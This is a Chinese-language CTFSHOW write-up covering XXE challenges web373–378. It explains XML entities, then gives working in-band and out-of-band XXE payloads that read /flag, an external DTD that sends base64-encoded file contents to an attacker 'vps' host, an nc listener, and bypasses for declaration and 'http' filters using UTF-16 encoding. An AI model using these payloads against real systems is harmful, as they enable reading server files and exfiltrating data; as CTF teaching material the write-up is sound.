CTFSHOW | XXE题解 web373 - web378

什么是XML

XML,全称为可扩展标记语言(eXtensible Markup Language),设计宗旨是传输和存储数据

可以把它和HTML对比来理解:

  • HTML 的标签(如<h1>, <p>)是预定义好的,主要功能是告诉浏览器如何显示内容。
  • XML 的标签则可以由开发者根据需求自己定义,用来清晰地描述数据的结构和含义。

举个例子

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>小明</to>
<from>小红</from>
<heading>提醒</heading>
<body>别忘了周五的会议!</body>
</note>

为了更好地理解XXE,我们还需要了解XML中两个与漏洞密切相关的关键组件:DOCTYPEENTITY

  • DOCTYPE (文档类型声明) :它通常出现在XML文档的顶部,用于定义该文档的结构和规则。对于XXE漏洞来说,DOCTYPE最重要的作用是,它提供了一个可以定义实体(ENTITY)的地方
  • ENTITY (实体) :必须在DOCTYPE声明中定义,主要有两种:
    • 内部实体:像一个简单的文本变量,方便在文档中复用。例如:<!ENTITY author "Wayne">,之后在文档中使用的 &author; 就会被替换为 “Wayne”
    • 外部实体:这是XXE漏洞的核心。它允许我们引用外部资源的内容,例如服务器上的一个文件或一个网址。例如:<!ENTITY xxe SYSTEM "file:///etc/passwd">

什么是XXE

XXE全称是“XML外部实体注入”(XML External Entity Injection),当一个应用程序接收并解析了用户提交的XML数据,但其XML解析器配置不当时,就容易产生XXE漏洞

流程大概如下

  1. 构造一个恶意的XML文档
  2. 在文档中定义一个指向服务器本地敏感文件的外部实体,例如: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  3. 在XML数据中引用这个实体 &xxe;
  4. 服务器在解析这段XML时,会查找并读取 /etc/passwd 文件的内容,并用它替换掉 &xxe;
  5. 最后,攻击者通过页面的回显(有回显XXE)或将数据发送到自己的服务器(无回显XXE)来窃取信息

题目列表

web373

题目给了源码,我们可以分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
//允许加载外部实体,在PHP 8.0及以上版本,此项默认为true。
libxml_disable_entity_loader(false);
//从HTTP请求的body中读取原始数据,一般是POST请求的内容。
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
//新建一个DOMDocument对象,用于处理XML。
$dom = new DOMDocument();
//LIBXML_NOENT: 替换XML文档中的实体;LIBXML_DTDLOAD: 允许加载外部DTD。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//把DOM对象转换为PHP对象。
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

由源码可知,这是个有回显的XXE,因此直接POST注入即可

payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<!-- 对应源码的$ctfshow = $creds->ctfshow; -->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

web374

分析源码

相比上一题,这一题少了回显代码,也就是

1
2
3
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;

因此这是个无回显的XXE,需要用到vps进行数据外带显示

payload:

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://vps地址/test.dtd">%xxe;]>

然后在vps的网站根目录创建test.dtd

1
2
3
4
5
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!-- “&#x25;”是 % 的意思,因为是嵌套引用,所以不能直接写% -->
<!ENTITY % eval "<!ENTITY &#x25; out SYSTEM 'http://vps地址:1234/?x=%file;'>">
%eval;
%out;

保存文件并退出Vim:按下ESC进入命令模式,然后输入:wq并按回车键

最后在服务器用nc监听1234端口

1
nc -lvvp 1234

接着发送POST请求

重新回到vps查看加密内容,然后base64解码即可

我们来分析一下思路,简单来说就是初始Payload调用了外部DTD,外部DTD中先用一个实体%eval;定义另一个能发送数据的实体%out;,然后再调用这个新实体将文件内容外带出来

那为什么要这样子套娃,直接调用不可以吗

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % out SYSTEM "http://vps地址:1234/?x=%file;"> %out;

如果直接调用,上面第二步中的 <!ENTITY % out ...> 会直接导致XML解析器报错。因为在解析器看来,%file; 这个引用被用在了另一个实体 out定义字符串里,这是不被允许的

因此我们需要嵌套使用,用外部实体%eval;把内层命令伪装成一个字符串,当外部实体被调用后,此时%file; 实体已经被定义过了,最后再调用%out;,就可以成功执行命令

1
2
3
4
5
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!-- “&#x25;”是 % 的意思,因为是嵌套引用,所以不能直接写% -->
<!ENTITY % eval "<!ENTITY &#x25; out SYSTEM 'http://vps地址:1234/?x=%file;'>">
%eval;
%out;

web375

先看看源码

跟上一题差不多,不过这次多了一个过滤条件,由于它是匹配整一个语句<?xml version="1.0",因此有很多方法绕过

1
2
3
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}

方法一:

在xml和version中加一个空格

1
2
<?xml  version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://vps地址/test.dtd">%xxe;]>

方法二:

直接把<?xml version="1.0" encoding="UTF-8"?>去掉

1
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://vps地址/test.dtd">%xxe;]>

方法三:

把双引号改成单引号,即<?xml version='1.0' encoding="UTF-8"?>

1
2
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://vps地址/test.dtd">%xxe;]>

随便选一种方法做即可,其他步骤跟上一题一样,成功得到flag

web376

先看源码

相比上一题,这题的过滤条件多了一个检测大小写功能,但是不影响做题,可以用上一题的方法

web377

分析源码

这次多了一个http的过滤,可以用编码绕过,xml不仅支持UTF-8编码,也支持UTF-16、UTF-32和EBCDIC编码

因此我们在web375绕过<?xml version="1.0"的基础上,加一个编码转换即可,用python脚本完成

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://48e31982-9b66-42aa-b386-f34f7b7f8d36.challenge.ctf.show/"

payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://vps地址/test.dtd">%xxe;]>
"""

payload = payload.encode('utf-16')
response = requests.post(url, data=payload)
print(response.text)

先在vps监听端口,然后运行脚本

web378

打开题目看到一个登录框

ctrl+u查看网页源码,可以判断存在XXE漏洞

在登录框页面随便输入个账号密码,可以看到有回显,因此是属于有回显的XXE

因此我们可以构造XML payload,然后POST发送到/doLogin即可,这里用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://39e1f8ce-fd5e-483d-a620-38d00350bff3.challenge.ctf.show/doLogin"

payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username><password>&xxe;</password></user>
"""

response = requests.post(url, data=payload)
print(response.text)

作者

WayneJoon.H

发布于

2025-07-24

许可协议